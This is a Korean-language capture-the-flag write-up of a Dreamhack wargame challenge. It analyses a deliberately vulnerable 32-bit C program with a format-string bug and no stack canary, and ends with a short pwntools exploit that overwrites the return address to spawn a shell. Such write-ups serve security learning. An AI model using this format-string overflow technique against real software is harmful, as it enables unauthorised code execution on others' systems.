1. Description
![](https://velog.velcdn.com/images/securitykss/post/db84c6ea-b5a9-405c-b111-8f1e8c494f87/image.png)
2. Check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO: %s\n", stack_buf);
return 0;
}
code description
alarm_handler()
알람 역할 하는 함수
initialize()
입출력 버퍼 비우고, 알람 30초 설정
get_shell()
shell을 실행하는 함수
main()
heap_buf 0x80만큼 string 선언(heap 영역, 동적 할당)
stack_buf[0x90] string 선언(stack 영역)
heap_buf에 0x80만큼 입력
sprintf로 heap_buf를 stack_buf에 복사,
하지만, 서식지정자(%s 등)이 없으므로 FSB에 취약
stack_buf 출력
2.2 file
![](https://velog.velcdn.com/images/securitykss/post/458feefb-dcd0-443a-b759-6c3c332444e7/image.png)
32bit elf
2.3 checksec
![](https://velog.velcdn.com/images/securitykss/post/b522674d-a3ad-410a-bac1-c92127622be5/image.png)
canary가 없으므로 bof에 취약
3. Design
FSB와 BOF를 활용해서 return address를 get_shell로 설정한다.
4. Exploit
4.1 인자 순서
입력값과 %p로 stack_buf가 몇번째 인자인지 알아보자.
![](https://velog.velcdn.com/images/securitykss/post/cd15713d-6916-44a8-ad21-4a6a28600edc/image.png)
첫번째 인자가 stack_buf임을 알 수 있다.
4.2 gdb 분석
![](https://velog.velcdn.com/images/securitykss/post/19108b9a-d57a-4fe9-9e03-aaf9dacf2c0f/image.png)
main+56
push DWORD PTR [ebp-0x8]
이 부분에서 [ebp-0x8]부분에 heap_buf의 주소를 참조하고 있음을 알 수 있다.
main+72
lea eax, [ebp-0x98]
이 부분에서 [ebp-0x98]이 stack_buf임을 알 수 있다.
4.3 get_shell 주소
![](https://velog.velcdn.com/images/securitykss/post/bcc4e016-81a9-47d4-800b-e4fe6236ffa7/image.png)
4.4 정리
첫 번째 인자가 stack_buf
그리고 ebp에서 0x98만큼 떨어져 있다.(10진수로 152)
canary가 없으므로 bof를 일으켜 return address를 get_shell로 덮을 수 있다.
"%156c" (stack_buf(152bytes) + sfp(4bytes))로 return address 영역까지 닿고
그 후, p32(get_shell)을 해서 덮으면 된다.
4.5 exploit code
from pwn import *
p = process("./basic_exploitation_003")
get_shell = 0x8048669
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()
4.6 exploit result
![](https://velog.velcdn.com/images/securitykss/post/5e8dbb1c-1add-4c3f-9ec0-dca496133f2f/image.png)
성공적으로 shell을 따낸 모습이다.
마치며
이렇게 FSB와 BOF를 활용해서 문제를 풀어보았다.
Reference
https://dreamhack.io/wargame/challenges/5/ (문제 출처)